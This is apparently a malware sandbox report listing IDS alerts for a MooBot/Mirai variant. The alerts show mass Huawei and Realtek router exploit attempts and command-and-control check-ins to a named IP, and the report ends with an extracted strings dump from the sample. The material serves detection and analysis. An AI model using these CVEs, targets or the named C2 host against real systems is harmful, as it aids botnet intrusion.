ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.4.9.142

Timestamp:	07/20/24-23:01:06.812618
SID:	2829579
Source Port:	54008
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.156.134.175

Timestamp:	07/20/24-23:01:32.282562
SID:	2829579
Source Port:	37198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.79.65.151

Timestamp:	07/20/24-23:01:02.620832
SID:	2835222
Source Port:	39376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.201.96.18

Timestamp:	07/20/24-23:01:25.389915
SID:	2835222
Source Port:	58430
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 186.203.154.108

Timestamp:	07/20/24-23:01:05.488122
SID:	2025132
Source Port:	43970
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 153.33.151.65

Timestamp:	07/20/24-23:01:14.536390
SID:	2831300
Source Port:	57074
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 126.66.84.101

Timestamp:	07/20/24-23:01:14.521865
SID:	2027339
Source Port:	34230
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.166.87.182

Timestamp:	07/20/24-23:01:06.798361
SID:	2829579
Source Port:	53378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 147.249.130.149

Timestamp:	07/20/24-23:01:27.356781
SID:	2027339
Source Port:	53766
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 53.181.49.136

Timestamp:	07/20/24-23:01:06.799605
SID:	2829579
Source Port:	39816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 128.216.207.69

Timestamp:	07/20/24-23:01:14.998118
SID:	2829579
Source Port:	57822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 88.255.138.29

Timestamp:	07/20/24-23:01:22.815176
SID:	2835222
Source Port:	47104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 164.8.255.47

Timestamp:	07/20/24-23:01:06.147232
SID:	2027339
Source Port:	59158
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 170.171.127.228

Timestamp:	07/20/24-23:01:04.803876
SID:	2027339
Source Port:	41132
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.149.160.135

Timestamp:	07/20/24-23:01:06.812618
SID:	2829579
Source Port:	54886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

Suricata Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.145.183.59

Timestamp:	2024-07-20T23:00:59.026594+0200
SID:	2835222
Source Port:	44818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 168.214.55.135

Timestamp:	2024-07-20T23:01:04.151190+0200
SID:	2027339
Source Port:	53024
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 90.118.180.212

Timestamp:	2024-07-20T23:01:02.682054+0200
SID:	2835222
Source Port:	33836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.215.54.255

Timestamp:	2024-07-20T23:01:02.612616+0200
SID:	2835222
Source Port:	33622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.31.246.31

Timestamp:	2024-07-20T23:01:02.628234+0200
SID:	2835222
Source Port:	57060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.120.70.192

Timestamp:	2024-07-20T23:01:02.693657+0200
SID:	2835222
Source Port:	34758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.60.18.93

Timestamp:	2024-07-20T23:01:02.630936+0200
SID:	2835222
Source Port:	59198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 103.233.66.3

Timestamp:	2024-07-20T23:01:04.443673+0200
SID:	2027339
Source Port:	49284
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.18.137.5

Timestamp:	2024-07-20T23:01:02.613351+0200
SID:	2835222
Source Port:	54014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 15.235.203.214

Timestamp:	2024-07-20T23:01:07.548019+0200
SID:	2030490
Source Port:	57820
Destination Port:	2466
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.186.137.146

Timestamp:	2024-07-20T23:01:02.688342+0200
SID:	2835222
Source Port:	40374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.171.233.155

Timestamp:	2024-07-20T23:01:02.707801+0200
SID:	2835222
Source Port:	46006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 40.45.115.153

Timestamp:	2024-07-20T23:01:02.613456+0200
SID:	2835222
Source Port:	58204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.45.209.254

Timestamp:	2024-07-20T23:01:02.628234+0200
SID:	2835222
Source Port:	52190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.6.247.149

Timestamp:	2024-07-20T23:01:00.761595+0200
SID:	2835222
Source Port:	44962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.77.114.34

Timestamp:	2024-07-20T23:01:02.630936+0200
SID:	2835222
Source Port:	44900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 173.132.232.37

Timestamp:	2024-07-20T23:01:02.722900+0200
SID:	2835222
Source Port:	56702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.195.201.112

Timestamp:	2024-07-20T23:01:02.613351+0200
SID:	2835222
Source Port:	38052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.74.135.43

Timestamp:	2024-07-20T23:01:02.693657+0200
SID:	2835222
Source Port:	47188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.189.139.115

Timestamp:	2024-07-20T23:01:02.613351+0200
SID:	2835222
Source Port:	34612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 104.26.83.71

Timestamp:	2024-07-20T23:01:04.219068+0200
SID:	2027339
Source Port:	43308
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.68.213.107

Timestamp:	2024-07-20T23:01:02.613456+0200
SID:	2835222
Source Port:	43958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.236.26.155

Timestamp:	2024-07-20T23:01:02.693657+0200
SID:	2835222
Source Port:	58604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.158.192.126

Timestamp:	2024-07-20T23:01:12.543115+0200
SID:	2835222
Source Port:	46248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 109.174.172.219

Timestamp:	2024-07-20T23:00:59.026594+0200
SID:	2835222
Source Port:	51784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 104.8.73.49

Timestamp:	2024-07-20T23:00:59.026594+0200
SID:	2835222
Source Port:	38898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.113.83.79

Timestamp:	2024-07-20T23:01:02.707801+0200
SID:	2835222
Source Port:	47758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.152.248.171

Timestamp:	2024-07-20T23:01:09.519366+0200
SID:	2835222
Source Port:	43218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 114.116.15.132

Timestamp:	2024-07-20T23:00:59.026594+0200
SID:	2835222
Source Port:	59660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.200.28.48

Timestamp:	2024-07-20T23:01:02.693657+0200
SID:	2835222
Source Port:	52990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 160.89.205.146

Timestamp:	2024-07-20T23:01:08.483493+0200
SID:	2027339
Source Port:	44850
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.74.4.205

Timestamp:	2024-07-20T23:01:02.612616+0200
SID:	2835222
Source Port:	34794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.25.228.57

Timestamp:	2024-07-20T23:01:02.693657+0200
SID:	2835222
Source Port:	51348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.125.89.203

Timestamp:	2024-07-20T23:01:02.682055+0200
SID:	2835222
Source Port:	51910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 162.160.111.35

Timestamp:	2024-07-20T23:01:04.209332+0200
SID:	2027339
Source Port:	48954
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 144.242.214.134

Timestamp:	2024-07-20T23:01:05.224600+0200
SID:	2027339
Source Port:	57426
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.194.56.97

Timestamp:	2024-07-20T23:01:02.630936+0200
SID:	2835222
Source Port:	35908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.206.209.177

Timestamp:	2024-07-20T23:01:02.613456+0200
SID:	2835222
Source Port:	44092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.69.83.103

Timestamp:	2024-07-20T23:01:02.693657+0200
SID:	2835222
Source Port:	43210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 112.104.240.153

Timestamp:	2024-07-20T23:01:03.690986+0200
SID:	2027339
Source Port:	34450
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 52.188.85.89

Timestamp:	2024-07-20T23:01:04.146053+0200
SID:	2027339
Source Port:	59558
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 202.179.114.114

Timestamp:	2024-07-20T23:01:04.136710+0200
SID:	2027339
Source Port:	45482
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.12.134.58

Timestamp:	2024-07-20T23:01:02.612616+0200
SID:	2835222
Source Port:	47378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.49.222.44

Timestamp:	2024-07-20T23:01:04.871912+0200
SID:	2835222
Source Port:	32802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.206.199.24

Timestamp:	2024-07-20T23:01:12.492181+0200
SID:	2835222
Source Port:	42094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 14.117.126.33

Timestamp:	2024-07-20T23:01:02.630936+0200
SID:	2835222
Source Port:	37284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.107.200.173

Timestamp:	2024-07-20T23:01:02.613351+0200
SID:	2835222
Source Port:	42080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 23.208.206.64

Timestamp:	2024-07-20T23:01:09.519366+0200
SID:	2835222
Source Port:	38700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.196.5.149

Timestamp:	2024-07-20T23:01:12.517792+0200
SID:	2835222
Source Port:	54774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.59.239.153

Timestamp:	2024-07-20T23:01:02.628234+0200
SID:	2835222
Source Port:	35738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.214.26.254

Timestamp:	2024-07-20T23:01:02.613351+0200
SID:	2835222
Source Port:	41644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.94.251.61

Timestamp:	2024-07-20T23:01:02.693657+0200
SID:	2835222
Source Port:	37170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 15.235.203.214

Timestamp:	2024-07-20T23:00:58.677396+0200
SID:	2030490
Source Port:	53098
Destination Port:	2466
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.68.211.95

Timestamp:	2024-07-20T23:01:02.607576+0200
SID:	2835222
Source Port:	43498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 111.163.203.195

Timestamp:	2024-07-20T23:01:02.707801+0200
SID:	2835222
Source Port:	35050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 194.65.196.65

Timestamp:	2024-07-20T23:00:59.026594+0200
SID:	2835222
Source Port:	44802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 132.227.49.42

Timestamp:	2024-07-20T23:01:02.630936+0200
SID:	2835222
Source Port:	44020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 173.70.195.138

Timestamp:	2024-07-20T23:01:03.891517+0200
SID:	2027339
Source Port:	41808
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 58.55.6.110

Timestamp:	2024-07-20T23:01:04.444598+0200
SID:	2027339
Source Port:	52134
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 51.169.114.105

Timestamp:	2024-07-20T23:01:05.099102+0200
SID:	2027339
Source Port:	53172
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.137.132.163

Timestamp:	2024-07-20T23:01:02.693657+0200
SID:	2835222
Source Port:	59598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 98.189.122.151

Timestamp:	2024-07-20T23:01:05.272716+0200
SID:	2027339
Source Port:	34054
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.221.120.154

Timestamp:	2024-07-20T23:01:04.878803+0200
SID:	2835222
Source Port:	53592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.140.115.231

Timestamp:	2024-07-20T23:01:02.613351+0200
SID:	2835222
Source Port:	52314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 145.152.149.135

Timestamp:	2024-07-20T23:01:09.513046+0200
SID:	2835222
Source Port:	58218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 80.226.91.150

Timestamp:	2024-07-20T23:01:04.584969+0200
SID:	2027339
Source Port:	46442
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

String: Content-Length: abcdefghijklmnopqrstuvwxyz/proc/%d/exe/tmp/%s%s%c/proc/self/cmdline/proc/%d/proc/self/proc/proc/%d/cmdlinenetstatwgetcurl/bin/busybox/proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-servershellmnt/sys/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetsshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearencodersystem/root/dvr_gui//root/dvr_app//anko-app//opt/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3f

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.13:53098 -> 15.235.203.214:2466
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:35940 -> 157.3.21.190:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:35940 -> 157.3.21.190:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:32874 -> 41.56.118.161:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:32874 -> 41.56.118.161:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:36272 -> 182.85.50.153:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:36272 -> 182.85.50.153:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38980 -> 197.214.55.135:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38980 -> 197.214.55.135:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44802 -> 194.65.196.65:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44802 -> 194.65.196.65:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51224 -> 157.200.98.141:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51224 -> 157.200.98.141:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:45044 -> 159.247.186.213:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:45044 -> 159.247.186.213:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:39322 -> 197.234.38.242:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:39322 -> 197.234.38.242:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33704 -> 197.92.237.222:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33704 -> 197.92.237.222:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:52992 -> 212.19.225.186:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:52992 -> 212.19.225.186:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51784 -> 109.174.172.219:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51784 -> 109.174.172.219:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:57984 -> 157.154.83.107:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:57984 -> 157.154.83.107:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:39572 -> 197.64.178.193:37215
